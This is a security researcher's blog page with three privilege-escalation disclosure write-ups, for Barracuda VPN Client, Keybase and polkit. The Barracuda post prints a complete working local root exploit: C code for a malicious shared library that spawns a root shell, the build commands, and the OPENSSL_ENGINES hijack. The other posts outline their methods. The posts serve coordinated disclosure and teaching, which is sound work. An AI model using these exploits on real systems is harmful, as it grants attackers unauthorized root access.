Rich Mirch

Penetration Tester, Security Researcher

CVE-2019-6724 : Barracuda VPN Client Privilege Escalation on Linux and macOS — February 14, 2019

CVE-2019-6724 : Barracuda VPN Client Privilege Escalation on Linux and macOS

The barracudavpn component of the Barracuda VPN Client prior to version 5.0.2.7 for Linux, macOS, and OpenBSD runs as a privileged process and can allow an unprivileged local attacker to load a malicious library, resulting in arbitrary code executing as root.

This post will walk through the process on how I found and exploited the vulnerability on Linux. The full PoC will  also work on macOS. When researching for potential vulnerabilities with privileged binaries a test system should be used to avoid causing damage or negative impacts.

The first step is to identify a privileged binary. I normally use the find(1) command. This example displays setuid binaries under the /usr/local directory. I generally use the -xdev option to avoid traversing other files systems such as NFS. It’s better to be intentional when using find instead of blindly using / for the target path. The -ls option is a nice built-in feature to automatically display the long list of file attributes. Finally, stderr is redirected to /dev/null to discard errors caused by insufficient permissions.

[user1@localhost ~]$ find /usr/local -xdev -perm -4000 -ls 2>/dev/null
68555095 4548 -rwsr-xr-x   1 root     root      4653080 Oct 29 02:25 /usr/local/bin/barracudavpn

An alternative to using find is to inspect the files installed by a specific package. Often times files are installed to multiple locations so listing out the files contained by a package is helpful. This example uses the rpm command to list files installed in verbose format for the barracudavpn package.

[user1@localhost ~]$ rpm -q -l -v barracudavpn
drwxr-xr-x 2 root root 0 Oct 29 02:25 /etc/barracudavpn
-rwsr-xr-x 1 root root 4653080 Oct 29 02:25 /usr/local/bin/barracudavpn

There are several things I look for when attacking privileged binaries. If source code is not available my goto utilities for this investigation is tracing system calls using strace(1) and tracing library calls using ltrace(1). On macOS I use Dtrace. Here is a list of a few common vectors. This post will focus on the #2 – loading of libraries.

  1. Execute external commands
  2. Loading of libraries
  3. File paths
  4. Environment variables
  5. Pipe or store output
  6. Configuration files
  7. Debug / undocumented features

When executing strace or ltrace as an unprivileged user, privileges will be dropped. Sometimes this is ok but generally the command will exit with an error. When attempting to execute strace as a low privileged user it results in the following error. The error message is not always as obvious as the barracudavpn binary.

# Options
#   -o output file with a PID suffix
#   -ff follow forks
#   -s increase maximum string size to print

[user1@localhost ~]$ strace -o /tmp/vpn.trace \
                            -ff \
                            -s 1000 \
                            /usr/local/bin/barracudavpn
barracudavpn-noroot-error
Error because privileges were dropped

To get around this error, run either utility as root using the -u option. After adding this option the application opens without error.

[root@localhost ~]# rm -f /tmp/vpn.trace* # cleanup residual traces
[root@localhost ~]# strace -u user1 \
                           -o /tmp/vpn.trace \
                           -ff \
                           -s 1000 \
                           /usr/local/bin/barracudavpn

barracudavpn-noerror
Application after running strace as root with -u user1

I wanted to see if any libraries were loaded by default at runtime so I exited the application to review the trace file. A simple grep looking for the string “.so” works. barracudavpn attempted to load a non-existent library named libcavium.so from /opt/phio/libs64/engines.

[root@localhost ~]# grep \\.so /tmp/vpn.trace.20255
open("/opt/phion/libs/engines/libcavium.so", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)

A low privileged user cannot normally write to /opt so we’ll have to see if we can influence the leading path. This could potentially be achieved by manipulating environment variables, configuration options, or command parameters.

To check for environment variables I ran ltrace to show getenv calls but received the following error.  It turns out the binary is statically linked so ltrace will not work.

[user1@localhost ~]$ ltrace /usr/local/bin/barracudavpn 2>&1| grep getenv
Couldn't find .dynsym or .dynstr in "/proc/3079/exe"

[user1@localhost ~]$ file /usr/local/bin/barracudavpn
/usr/local/bin/barracudavpn: setuid ELF 64-bit LSB executable,
  x86-64, version 1 (GNU/Linux),
  statically linked,
  for GNU/Linux 2.6.32,
  BuildID[sha1]=34b314b85afe2908266dc8f4229415df09f0e61f, stripped

This is an easy check with ltrace but since that failed I decided to run the strings utility and look for an upper case strings. The binary is 4.5 MB so paging through strings output was not practical. A good place to start was looking around the area of the strings I had found in the previous step. The OPENSSL_ENGINES string jumped out at me  as a potential environment variable. A quick google search shows that this is part of the OpenSSL engine library and most likely the code is from eng_list.c and was compiled with ENGINESDIR=/opt/phion/libs/engines.

[root@localhost ~]# strings /usr/local/bin/barracudavpn|grep -C5 /opt/phion/libs/engines
OpenSSL DH Method
dh_lib.c
Diffie-Hellman part of OpenSSL 1.0.1u 22 Sep 2016
eng_list.c
OPENSSL_ENGINES
/opt/phion/libs/engines
DIR_LOAD
DIR_ADD
eng_init.c
eng_ctrl.c
eng_pkey.c

A simple test is to set the environment variable to a unique value. I used /foobar for this test and re-ran barracudavpn. The open() call confirms the environment variable can be changed to a path we control to load the library. If privileges are not dropped prior to the loading of this library we can achieve arbitrary code execution as root. I could look for set*uid calls but as a simple test I will just set the variable and see what happens. The link step on macOS is slightly different. View the full PoC linked below for an example.

[root@localhost ~]# export OPENSSL_ENGINES=/foobar
[root@localhost ~]# timeout 10s strace -u user1 -ff /usr/local/bin/barracudavpn 2>&1|grep '\.so'
open("/foobar/libcavium.so", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)

At this point I am confident that a library of my choice could be loaded. I created a simple woot() function to execute a shell.

#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

void woot(){
  setreuid(0,0);
  execl("/bin/sh","/bin/sh",NULL);
}

Build the shared library and write it in the foobar directory. Notice the -init,woot flag. This specifies what function to use as the constructor and the default name is _init. Details on how this works can be found in section 5.2 of the Program-Library-HOWTO miscellaneous page.

[user1@localhost ~]$ mkdir foobar
[user1@localhost ~]$ gcc -fPIC -Wall -o woot.o -c woot.c
[user1@localhost ~]$ gcc -Wall -shared -Wl,-soname,libcavium.so -Wl,-init,woot -o foobar/libcavium.so woot.o
[user1@localhost ~]$ export OPENSSL_ENGINES=foobar

Execute /usr/local/bin/barracudavpn to spawn a root shell.

[user1@localhost ~]$ id
uid=1000(user1) gid=1000(user1) groups=1000(user1) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

[user1@localhost ~]$ /usr/local/bin/barracudavpn
sh-4.2# id
uid=0(root) gid=1000(user1) groups=1000(user1) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
sh-4.2#

The full PoC for Linux and macOS can be found on my Github page CVE-2019-6724.sh.

Summary

When a privileged binary loads an external library, care must be taken to ensure the library cannot be loaded from an untrusted location. As a low privileged user, look for writeable paths where libraries are loaded from. Dynamic libraries can be loaded from static paths, paths based on environment variables, configuration options, or command parameters. Also keep in mind that this behavior might not be documented. Strace and ltrace are standard tools that I use identify libraries loaded dynamically by the target program.

I appreciate the partnership with Dave Farrow – Senior Director, Information Security – Barracuda Networks.

References

Timeline

2019-01-02 Report sent to vendor via BugCrowd
2019-01-03 Vendor acknowledges report
2019-01-07 Vendor meeting regarding coordinated disclosure
2019-01-17 Vendor releases fixes
2019-01-23 Mitre assigned CVE-2019-6724
2019-02-14 Public Disclosure

CVE-2018-18629: Keybase Linux privilege escalation — December 21, 2018

CVE-2018-18629: Keybase Linux privilege escalation

Recently I started using Keybase which is a Slack like application but provides end-to-end encryption. Version 2.8.0.20181017144746.3efc4cbf3c is vulnerable to a privilege escalation vulnerability allowing a low privileged user to execute arbitrary commands as root.

After executing the application using a low privileged account I noticed a process named keybase-redirector running as root. I was interested and wanted to understand how this worked. After checking the file permissions I found that the keybase-redirector was setuid root. I enjoy the challenge of finding vulnerabilities in privileged binaries so I started my research.

One of the first techniques I use when attacking setuid binaries is to test for PATH injections. The PATH environment variable is a colon separated list of directories that is searched when executing a command by name. As a test I reset the PATH environment variable to a unique value while executing keybase-redirector.  Using the env command  inline ensures that the PATH is only set for the execution and the current value of PATH is unmodified.

[user1@localhost ~]$ env PATH=/foobar /usr/bin/keybase-redirector /keybase
Mount error, exiting cleanly: fusermount: exec: “fusermount”: executable file not found in $PATH

The descriptive error message immediately caught my attention. To confirm the potential vulnerability I executed the strace(1) utility. strace traces system calls and has a variety of options. The common options that I use are -f(follow forks), -s (maximum string size to print) and -u [username]. strace generates verbose output so this is where the unique PATH string becomes useful. We can quickly search the output for that string to find potential injection points. When tracing a setuid binary, strace must be executed from root because privileges are dropped. In some cases the error message may not provide any clues. Regardless of the output I always run strace to verify. As you can see in the below output, the newfstatat() call is checking if /foobar/fusermount exists.

[root@localhost ~]# env PATH=/foobar /usr/bin/strace -u user1 -f /usr/bin/keybase-redirector /keybase 2>&1|grep foobar
[pid 4890] newfstatat(AT_FDCWD, “/foobar/fusermount“, 0xc420070858, 0) = -1 ENOENT (No such file or directory)

Now that it appears the program trusts the value of PATH we can try to exploit it. I crafted a fusermount binary to create the /w00t file. View the original PoC in the Hackerone report 426944. Since then I created a new PoC to get an interactive root shell. Updated PoC can be found at my Github repo CVE-2018-18629.sh

PoC screenshot for CentOS 7.4.1708.
keybase-woot

Summary

Setuid programs should reset the PATH environment variable prior to executing any external binaries. Fully qualified paths can also be used. The response from Keybase was amazing and I really enjoyed the partnership. @maxtaco committed the fix to the master branch within one hour of receiving the report! I appreciate their transparency and technical write-up in the advisory.

References

CVE-2018-19788 PoC – polkit: Improper handling of user with uid > INT_MAX leading to authentication bypass — December 9, 2018

CVE-2018-19788 PoC – polkit: Improper handling of user with uid > INT_MAX leading to authentication bypass

While reviewing my Twitter feed I noticed a recent popular tweet from @0xdea.

I was intrigued and wanted to see if there was a way to leverage this to execute arbitrary code as root.

First we need to understand what the value of INT_MAX is. Fortunately the getconf command can be used to find the value or you can find it in /usr/include/limits.h.

[root@localhost ~]# getconf INT_MAX
2147483647

[root@localhost ~]# grep ‘define INT_MAX’ /usr/include/limits.h
# define INT_MAX 2147483647

To exploit the vulnerability the user must have a UID value larger than 2147483647. I used the same value of 4000000000 that @0xdea posted.

[root@localhost ~]# useradd -u 4000000000 user9
[root@localhost ~]# id user9
uid=4000000000(user9) gid=1006(user9) groups=1006(user9)

The first test case I attempted was to manage a service. I successfully started tuned(8) as a low privilege user.
CVE-2018-19788-start-tuned

Now that the vulnerability has been verified I was on a quest to find a way to execute arbitrary code as root. I approached this using the same methodology I use when attacking sudo rules.

  1. Learn about the command(man, info, Google)
  2. Search for options/parameters/functionality to abuse.
    1. Execute commands
    2. Load libraries
    3. File paths
    4. Environment variables
    5. Pipe or store output
    6. Configuration files
    7. Determine if other commands are executed (strace -f,ltrace -f -S)

After paging through the systemctl man page and trying various commands/options, I successfully leveraged the link parameter to deploy a custom service file on a CentOS 7.4 system. I suspect there are other systemctl parameters or options that be abused.

man page excerpt

link FILENAME…

Link a unit file that is not in the unit file search paths into the unit file search path. This requires an absolute path to a unit file. The effect of this can be undone with disable. The effect of this command is that a unit file is available for start and other commands although it is not installed directly in the unit search path.

To achieve arbitrary code execution I copied an existing service file to my test users home directory and modified it. The main line to modify is ExecStart=, however I am sure there are plenty of other options but this was the easy button. The job is not connected to the standard I/O so I piped the output of id to the wall command. Full PoC here: CVE-2018-19788.sh. I asked @paragonsec to independently test it on his Debian system and he confirmed it was successful. Woot!

CVE-2018-19788

UPDATE

@paragonsec discovered a one-liner with the systemd-run command to get a full interactive root shell.

Summary

While this vulnerability should have limited exposure because of the large UID requirement, I still enjoyed the challenge of finding a way to leverage it to execute arbitrary code as root. Props to @0xdea for finding and disclosing the vulnerability. I appreciate @paragonsec for testing my PoC on short notice. My PoC was referenced in The Hacker News Warning! Unprivileged Linux Users With UID > INT_MAX Can Execute Any Command.